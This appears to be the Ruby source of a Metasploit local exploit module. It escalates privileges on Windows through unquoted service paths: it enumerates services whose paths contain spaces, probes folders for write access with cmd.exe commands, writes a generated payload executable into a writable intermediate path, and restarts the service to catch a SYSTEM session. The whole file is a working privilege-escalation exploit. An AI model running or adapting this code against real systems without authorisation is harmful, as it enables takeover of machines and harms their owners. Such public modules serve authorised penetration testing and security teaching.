modules/exploits/windows/local/unquoted_service_path.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::Services
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Unquoted Service Path Privilege Escalation',
'Description' => %q{
This module exploits a logic flaw due to how the lpApplicationName parameter
is handled. When the lpApplicationName contains a space, the file name is
ambiguous. Take this file path as example: C:\program files\hello.exe;
The Windows API will try to interpret this as two possible paths:
C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
To some software developers, this is an unexpected behavior, which becomes a
security problem if an attacker is able to place a malicious executable in one
of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
same problem.
The offensive technique is also described in Writing Secure Code (2nd Edition),
Chapter 23, in the section "Calling Processes Security" on page 676.
This technique was previously called Trusted Service Path, but is more commonly
known as Unquoted Service Path.
The service exploited won't start until the payload written to disk is removed.
},
'References' => [
['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'],
['URL', 'http://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us'], # pg 676
['URL', 'https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae']
],
'DisclosureDate' => '2001-10-25',
'License' => MSF_LICENSE,
'Author' => [
'sinn3r', # msf module
'h00die' # improvements
],
'Platform' => [ 'win'],
'Targets' => [ ['Windows', {}] ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 300 }, # give a long wait so the box/service can be rebooted
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
end
def check
services = enum_vuln_services.map { |srv| srv['name'] }
if services.empty?
return CheckCode::Safe
end
CheckCode::Vulnerable("Vulnerable services: #{services.join(', ')}")
end
###
# This function uses a loop to go from the longest potential path (most likely with write access), to shortest.
# >> fpath = 'C:\\Program Files\\A Subfolder\\B Subfolder\\C Subfolder\\SomeExecutable.exe'
# >> fpath = fpath.split(' ')[0...-1]
# >> fpath.reverse.each { |x| puts fpath[0..fpath.index(x)].join(' ')}
# C:\Program Files\A Subfolder\B Subfolder\C
# C:\Program Files\A Subfolder\B
# C:\Program Files\A
# C:\Program
###
def generate_folders(fpath, &block)
potential_paths = []
checked_paths = []
finished = false
fpath.reverse.each do |x|
path = fpath[0..fpath.index(x)].join(' ')
# when we test writability, we drop off last part since that is the file name
path_no_file = path.split('\\')[0...-1].join('\\')
next if checked_paths.include? path_no_file
checked_paths << path_no_file
unless writable?(path_no_file)
vprint_error(" #{path_no_file}\\ is not writable")
next
end
vprint_good(" #{path_no_file}\\ is writable")
finished = block.call(path)
potential_paths << path
break if finished
end
[potential_paths, finished]
end
def enum_vuln_services(&block)
vuln_services = []
each_service do |service|
info = service_info(service[:name])
# Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying.
next unless info[:path]
cmd = info[:path].strip
# Check path:
# - Filter out paths that begin with a quote
# - Filter out paths that don't have a space
next if cmd !~ /^[a-z]:.+\.exe$/i
next if !cmd.split('\\').map { |p| true if p =~ / / }.include?(true)
vprint_good("Found potentially vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
serv = {
'name' => service[:name],
'cmd' => cmd
}
fpath = cmd.split(' ')[0...-1] # cut off the .exe last portion
vprint_status(' Enumerating vulnerable paths')
serv['paths'], finished = generate_folders(fpath) do |path|
block.call(service[:name], path) if block_given?
end
# don't bother saving if we didn't find any vuln paths
vuln_services << serv unless serv['paths'].empty?
break if finished
end
vuln_services
end
# overwrite the writable? included in file.rb addon since it can't do windows.
def writable?(path)
f = "#{path}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.txt"
words = Rex::Text.rand_text_alphanumeric(9)
begin
# path needs to have double, not single quotes
c = %(cmd.exe /C echo '#{words}' >> "#{f}" && type "#{f}" && del "#{f}")
cmd_exec(c).to_s.include? words
rescue Rex::Post::Meterpreter::RequestError => _e
false
end
end
def exploit
print_status('Finding a vulnerable service...')
@svc_exes = {}
enum_vuln_services do |svc_name, path|
#
# Drop the malicious executable into the path
#
exe_path = "#{path}.exe"
print_status(" Placing #{exe_path} for #{svc_name}")
exe = @svc_exes[svc_name] ||= generate_payload_exe_service({ servicename: svc_name })
print_status(" Attempting to write #{exe.length} bytes to #{exe_path}...")
write_file(exe_path, exe)
print_good ' Successfully wrote payload'
register_file_for_cleanup(exe_path)
#
# Run the service, let the Windows API do the rest
#
if service_restart(svc_name)
sleep 5 # sleep a bit if restarting the service succeeded to see if any sessions are created
else
print_error ' Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!'
end
session_created? # propagated up to indicate if we're finished or not
end
# if no exes were created, no vulnerable service paths were found
fail_with(Failure::NotVulnerable, 'No service found with trusted path issues') if @svc_exes.empty?
print_status("Waiting #{wfs_delay} seconds for shell to arrive") unless session_created?
end
def service_restart(name)
print_status("[#{name}] Restarting service")
super
rescue RuntimeError => e
print_error("[#{name}] Restarting service failed: #{e}")
false
end
end